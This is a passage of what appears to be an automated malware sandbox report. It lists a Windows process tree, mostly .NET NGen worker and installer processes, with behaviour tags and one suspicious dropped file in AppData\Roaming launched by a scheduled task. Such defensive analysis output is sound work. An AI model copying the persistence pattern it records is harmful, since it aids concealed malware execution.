                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 144 -InterruptEvent 0 -NGENProcess 104 -Pipe 110 -Comment "NGen Worker Process"
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  PID:760
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 104 -InterruptEvent 0 -NGENProcess 1a0 -Pipe 14c -Comment "NGen Worker Process"
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  PID:2540
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1a8 -InterruptEvent 0 -NGENProcess 10c -Pipe 1a0 -Comment "NGen Worker Process"
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  PID:2088
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 104 -Pipe 10c -Comment "NGen Worker Process"
                                                                  4⤵
                                                                    PID:2676
                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1a4 -InterruptEvent 0 -NGENProcess 1ac -Pipe 1b0 -Comment "NGen Worker Process"
                                                                    4⤵
                                                                      PID:2936
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1b8 -InterruptEvent 0 -NGENProcess 104 -Pipe 1ac -Comment "NGen Worker Process"
                                                                      4⤵
                                                                        PID:2452
                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1bc -InterruptEvent 0 -NGENProcess 1a4 -Pipe 104 -Comment "NGen Worker Process"
                                                                        4⤵
                                                                          PID:2732
                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1c0 -InterruptEvent 0 -NGENProcess 1b8 -Pipe 1a4 -Comment "NGen Worker Process"
                                                                          4⤵
                                                                            PID:2524
                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1c4 -InterruptEvent 0 -NGENProcess 1bc -Pipe 1b8 -Comment "NGen Worker Process"
                                                                            4⤵
                                                                              PID:916
                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                              C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1c8 -InterruptEvent 0 -NGENProcess 1c0 -Pipe 1bc -Comment "NGen Worker Process"
                                                                              4⤵
                                                                                PID:2556
                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1cc -InterruptEvent 0 -NGENProcess 1c4 -Pipe 1c0 -Comment "NGen Worker Process"
                                                                                4⤵
                                                                                  PID:2160
                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1d0 -InterruptEvent 0 -NGENProcess 1c8 -Pipe 1c4 -Comment "NGen Worker Process"
                                                                                  4⤵
                                                                                    PID:2332
                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1d4 -InterruptEvent 0 -NGENProcess 1cc -Pipe 1c8 -Comment "NGen Worker Process"
                                                                                    4⤵
                                                                                      PID:2092
                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1d8 -InterruptEvent 0 -NGENProcess 1d0 -Pipe 1cc -Comment "NGen Worker Process"
                                                                                      4⤵
                                                                                        PID:1060
                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1dc -InterruptEvent 0 -NGENProcess 1d4 -Pipe 1d0 -Comment "NGen Worker Process"
                                                                                        4⤵
                                                                                          PID:1476
                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1e0 -InterruptEvent 0 -NGENProcess 1d8 -Pipe 1d4 -Comment "NGen Worker Process"
                                                                                          4⤵
                                                                                            PID:2964
                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 1dc -Pipe 1d8 -Comment "NGen Worker Process"
                                                                                            4⤵
                                                                                              PID:1640
                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                              C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1e8 -InterruptEvent 0 -NGENProcess 1e0 -Pipe 1dc -Comment "NGen Worker Process"
                                                                                              4⤵
                                                                                                PID:1916
                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ec -InterruptEvent 0 -NGENProcess 1e4 -Pipe 1e0 -Comment "NGen Worker Process"
                                                                                                4⤵
                                                                                                  PID:1108
                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1f0 -InterruptEvent 0 -NGENProcess 1e8 -Pipe 1e4 -Comment "NGen Worker Process"
                                                                                                  4⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:2676
                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1e8 -InterruptEvent 0 -NGENProcess 144 -Pipe 1f0 -Comment "NGen Worker Process"
                                                                                                  4⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:2936
                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1f8 -InterruptEvent 0 -NGENProcess 1ec -Pipe 144 -Comment "NGen Worker Process"
                                                                                                  4⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:2452
                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
                                                                                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1fc -InterruptEvent 0 -NGENProcess 1e8 -Pipe 1ec -Comment "NGen Worker Process"
                                                                                                  4⤵
                                                                                                    PID:2488
                                                                                              • C:\Windows\system32\MsiExec.exe
                                                                                                C:\Windows\system32\MsiExec.exe -Embedding 713106B227A70FA1598FF8D027BB63FC M Global\MSI0000
                                                                                                2⤵
                                                                                                  PID:2868
                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
                                                                                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe" -msi -ia -v
                                                                                                    3⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:2924
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      um C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Windows.ApplicationServer.Applications.45.man
                                                                                                      4⤵
                                                                                                        PID:2468
                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                        im C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Windows.ApplicationServer.Applications.45.man
                                                                                                        4⤵
                                                                                                          PID:1752
                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe
                                                                                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.JScript.tlb"
                                                                                                        3⤵
                                                                                                          PID:2104
                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe
                                                                                                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.tlb"
                                                                                                          3⤵
                                                                                                            PID:2160
                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe
                                                                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.tlb"
                                                                                                            3⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:2516
                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe
                                                                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Drawing.tlb"
                                                                                                            3⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:1356
                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe
                                                                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.EnterpriseServices.tlb"
                                                                                                            3⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:2564
                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe
                                                                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.tlb"
                                                                                                            3⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:276
                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe
                                                                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Windows.Forms.tlb"
                                                                                                            3⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:1544
                                                                                                          • C:\Windows\system32\wbem\mofcomp.exe
                                                                                                            "C:\Windows\system32\wbem\mofcomp.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MOF\ServiceModel.mof"
                                                                                                            3⤵
                                                                                                            • Drops file in System32 directory
                                                                                                            PID:1764
                                                                                                          • C:\Windows\system32\wbem\mofcomp.exe
                                                                                                            "C:\Windows\system32\wbem\mofcomp.exe" "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MOF\ServiceModel35.mof"
                                                                                                            3⤵
                                                                                                            • Drops file in System32 directory
                                                                                                            PID:1716
                                                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding C15451A781A400E1484D8699C2816A30 M Global\MSI0000
                                                                                                          2⤵
                                                                                                            PID:1688
                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe
                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe" -msi -ia -v
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:2632
                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe
                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.JScript.tlb"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:836
                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe
                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.tlb"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:2332
                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe
                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.tlb"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:1948
                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe
                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.tlb"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:2636
                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe
                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:2316
                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe
                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.tlb"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:2340
                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe
                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regtlibv12.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Windows.Forms.tlb"
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:2956
                                                                                                            • C:\Windows\SysWOW64\wbem\mofcomp.exe
                                                                                                              "C:\Windows\SysWOW64\wbem\mofcomp.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MOF\ServiceModel.mof"
                                                                                                              3⤵
                                                                                                              • Drops file in System32 directory
                                                                                                              PID:2132
                                                                                                            • C:\Windows\SysWOW64\wbem\mofcomp.exe
                                                                                                              "C:\Windows\SysWOW64\wbem\mofcomp.exe" "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MOF\ServiceModel35.mof"
                                                                                                              3⤵
                                                                                                              • Drops file in System32 directory
                                                                                                              PID:2560
                                                                                                        • C:\Windows\system32\taskeng.exe
                                                                                                          taskeng.exe {ABD4BCD2-3D11-4BC8-998D-20D67620C0A0} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
                                                                                                          1⤵
                                                                                                            PID:1292
                                                                                                            • C:\Users\Admin\AppData\Roaming\hhjjfdr
                                                                                                              C:\Users\Admin\AppData\Roaming\hhjjfdr
                                                                                                              2⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Checks SCSI registry key(s)
                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                              PID:2360
                                                                                                          • C:\Windows\system32\conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe "1914815-1921200576-601127148-14673450262058555430-341981100-15866500911435755881"
                                                                                                            1⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:2104
                                                                                                          • C:\Windows\system32\conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe "-1413435178171689755219858382561657846805-78265368-99506235710216517081984182807"
                                                                                                            1⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:2160
                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                            1⤵
                                                                                                            • Executes dropped EXE
                                                                                                            PID:836
                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 190 -InterruptEvent 17c -NGENProcess 180 -Pipe 18c -Comment "NGen Worker Process"
                                                                                                              2⤵
                                                                                                                PID:2148
                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 200 -InterruptEvent 17c -NGENProcess 180 -Pipe 190 -Comment "NGen Worker Process"
                                                                                                                2⤵
                                                                                                                  PID:2296
                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1f0 -InterruptEvent 1fc -NGENProcess 204 -Pipe 200 -Comment "NGen Worker Process"
                                                                                                                  2⤵
                                                                                                                    PID:2572
                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1fc -InterruptEvent 1ec -NGENProcess 180 -Pipe 1e0 -Comment "NGen Worker Process"
                                                                                                                    2⤵
                                                                                                                      PID:2824
                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1ec -InterruptEvent 208 -NGENProcess 17c -Pipe 1dc -Comment "NGen Worker Process"
                                                                                                                      2⤵
                                                                                                                        PID:2092
                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 208 -InterruptEvent 180 -NGENProcess 17c -Pipe 1f0 -Comment "NGen Worker Process"
                                                                                                                        2⤵
                                                                                                                          PID:936
                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 180 -InterruptEvent 214 -NGENProcess 20c -Pipe 210 -Comment "NGen Worker Process"
                                                                                                                          2⤵
                                                                                                                            PID:1212
                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 214 -InterruptEvent 20c -NGENProcess 208 -Pipe 1f8 -Comment "NGen Worker Process"
                                                                                                                            2⤵
                                                                                                                              PID:2156
                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 20c -InterruptEvent 21c -NGENProcess 17c -Pipe 204 -Comment "NGen Worker Process"
                                                                                                                              2⤵
                                                                                                                                PID:2372
                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 220 -InterruptEvent 214 -NGENProcess 224 -Pipe 20c -Comment "NGen Worker Process"
                                                                                                                                2⤵
                                                                                                                                  PID:576
                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 214 -InterruptEvent 198 -NGENProcess 17c -Pipe 180 -Comment "NGen Worker Process"
                                                                                                                                  2⤵
                                                                                                                                    PID:2820
                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 198 -InterruptEvent 17c -NGENProcess 220 -Pipe 21c -Comment "NGen Worker Process"
                                                                                                                                    2⤵
                                                                                                                                      PID:2884
                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 17c -InterruptEvent 22c -NGENProcess 224 -Pipe 1fc -Comment "NGen Worker Process"
                                                                                                                                      2⤵
                                                                                                                                        PID:1348
                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 22c -InterruptEvent 224 -NGENProcess 198 -Pipe 228 -Comment "NGen Worker Process"
                                                                                                                                        2⤵
                                                                                                                                          PID:2112
                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 224 -InterruptEvent 234 -NGENProcess 220 -Pipe 214 -Comment "NGen Worker Process"
                                                                                                                                          2⤵
                                                                                                                                            PID:2576
                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 234 -InterruptEvent 220 -NGENProcess 22c -Pipe 230 -Comment "NGen Worker Process"
                                                                                                                                            2⤵
                                                                                                                                              PID:2204
                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 220 -InterruptEvent 23c -NGENProcess 198 -Pipe 17c -Comment "NGen Worker Process"
                                                                                                                                              2⤵
                                                                                                                                                PID:1948
                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 23c -InterruptEvent 198 -NGENProcess 234 -Pipe 238 -Comment "NGen Worker Process"
                                                                                                                                                2⤵
                                                                                                                                                  PID:2680
                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 198 -InterruptEvent 244 -NGENProcess 22c -Pipe 224 -Comment "NGen Worker Process"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2200
                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 244 -InterruptEvent 22c -NGENProcess 23c -Pipe 240 -Comment "NGen Worker Process"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:2804
                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 22c -InterruptEvent 23c -NGENProcess 198 -Pipe 250 -Comment "NGen Worker Process"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1908
                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 23c -InterruptEvent 198 -NGENProcess 1f4 -Pipe 24c -Comment "NGen Worker Process"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1204
                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 198 -InterruptEvent 254 -NGENProcess 244 -Pipe 208 -Comment "NGen Worker Process"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1784
                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 254 -InterruptEvent 244 -NGENProcess 23c -Pipe 220 -Comment "NGen Worker Process"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:2832
                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 244 -InterruptEvent 25c -NGENProcess 1f4 -Pipe 22c -Comment "NGen Worker Process"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1508
                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 25c -InterruptEvent 1f4 -NGENProcess 254 -Pipe 258 -Comment "NGen Worker Process"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:972
                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1f4 -InterruptEvent 264 -NGENProcess 23c -Pipe 198 -Comment "NGen Worker Process"
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:2156
                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 264 -InterruptEvent 23c -NGENProcess 25c -Pipe 260 -Comment "NGen Worker Process"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:624
                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 23c -InterruptEvent 26c -NGENProcess 254 -Pipe 244 -Comment "NGen Worker Process"
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                      PID:1164
                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 26c -InterruptEvent 254 -NGENProcess 264 -Pipe 268 -Comment "NGen Worker Process"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:2724
                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 254 -InterruptEvent 274 -NGENProcess 25c -Pipe 1f4 -Comment "NGen Worker Process"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1660
                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 274 -InterruptEvent 25c -NGENProcess 26c -Pipe 270 -Comment "NGen Worker Process"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1568
                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 25c -InterruptEvent 27c -NGENProcess 234 -Pipe 254 -Comment "NGen Worker Process"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1048
                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 27c -InterruptEvent 234 -NGENProcess 264 -Pipe 26c -Comment "NGen Worker Process"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:1492
                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 234 -InterruptEvent 284 -NGENProcess 274 -Pipe 248 -Comment "NGen Worker Process"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:2728
                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 274 -NGENProcess 27c -Pipe 23c -Comment "NGen Worker Process"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Drops file in System32 directory
